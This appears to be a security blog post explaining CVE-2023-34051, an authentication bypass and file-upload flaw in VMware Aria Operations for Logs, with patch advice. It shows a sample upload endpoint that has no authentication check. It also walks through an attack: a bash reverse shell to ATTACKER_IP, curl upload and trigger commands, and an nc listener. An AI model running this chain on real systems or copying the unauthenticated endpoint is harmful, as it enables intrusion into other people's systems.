CVE-2023-34051 - Authentication Bypass in VMware Aria Operations for Logs Leads to Remote Code Execution

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VMware Aria Operations for Logs (formerly known as vRealize Log Insight) is a popular log management and analytics tool used in enterprise environments. In late 2023, VMware published a security advisory about a critical vulnerability, CVE-2023-34051, which allows attackers to bypass authentication—and ultimately gain remote code execution (RCE) on affected appliances.

In this post, we’ll break down what this vulnerability is, how it works, and what attackers can do with it. We’ll even walk through a simplified exploit example to drive the point home. Whether you manage VMware products or just want to understand real-world critical bugs, this is a great case study.

What is CVE-2023-34051?

CVE-2023-34051 is an authentication bypass vulnerability in VMware Aria Operations for Logs appliances. It allows a remote, unauthenticated attacker to inject arbitrary files into the appliance’s operating system. From there, the attacker can execute code with elevated permissions.

- Vulnerability Type: Authentication Bypass / File Upload leading to Remote Code Execution

CVSS v3 Base Score: 9.8 (Critical)

- Affected Products: Aria Operations for Logs 8.x (see official advisory for detailed versions)

Attack Vector: Network (remote, no prior authentication required)

- Patch: Released—update instructions here

How Does the Exploit Work?

At its core, the bug is a classic "upload arbitrary file, then run it" type of flaw. Here’s how attackers leverage it:

1. Authentication Bypass: There’s a logic flaw in how the application authorizes certain endpoints. Default or overlooked code paths don’t properly check if users are authenticated, letting anyone interact with them.

2. File Upload: Using the vulnerable endpoint, the attacker uploads a file to the underlying OS—often a web shell or script.

3. Remote Code Execution: By calling their uploaded file (for example, a shell script or PHP file), the attacker gains control of the system.

Example Vulnerable Endpoint

While the exact endpoint may differ by version and configuration, simplified pseudo-code often looks like this:

# Vulnerable pseudo-endpoint
@app.route('/api/v1/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    save_path = "/var/tmp/" + file.filename
    file.save(save_path)
    return "OK"

The problem: No authentication check. _Anyone_ can hit this endpoint and save whatever they want!

Step-by-step Exploit Example

Let’s walk through what an attacker might do, using simple shell commands.

Save a reverse shell payload as malicious.sh

#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 >&1

Send a POST request to the vulnerable endpoint (replace TARGET_IP and endpoint as needed)

curl -X POST -F 'file=@malicious.sh' http://TARGET_IP/api/v1/upload

Gain a Shell

The attacker now needs the application to run their script. Sometimes, uploaded files might be run automatically (depending on where they’re saved). Often, the attacker can chain another request to trigger execution.

For example

curl http://TARGET_IP/var/tmp/malicious.sh

Or, if they uploaded a web shell to a web-accessible directory

curl http://TARGET_IP/uploads/shell.php

On the attacker’s end, listen for the reverse shell

nc -lvnp 4444

Full compromise of the VMware Aria Operations for Logs appliance.

- Lateral movement potential into other systems/log sources.

Mitigation and Recommendations

- Update Now: Apply VMware’s official patch immediately: VMSA-2023-0021

Monitor Logs: Watch for unexpected uploads or execution attempts.

- Scan Deployments: Use vulnerability scanners (like Tenable’s plugin) to verify your systems are patched.

Original References

- VMware Advisory (VMSA-2023-0021)
- NIST NVD Entry for CVE-2023-34051
- VMware Knowledge Base Article

Final Thoughts

CVE-2023-34051 is a textbook example of the damage that can result from missing authentication checks in powerful management software. If you use VMware Aria Operations for Logs, don’t assume internet exposure doesn’t matter—patch right away. Even “internal” systems are never as isolated as you think.

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*Note: This content is exclusive and written for educational and defensive purposes only. Do not use this knowledge for unauthorized testing or exploitation.*

Timeline

Published on: 10/20/2023 05:15:07 UTC
Last modified on: 10/30/2023 15:28:40 UTC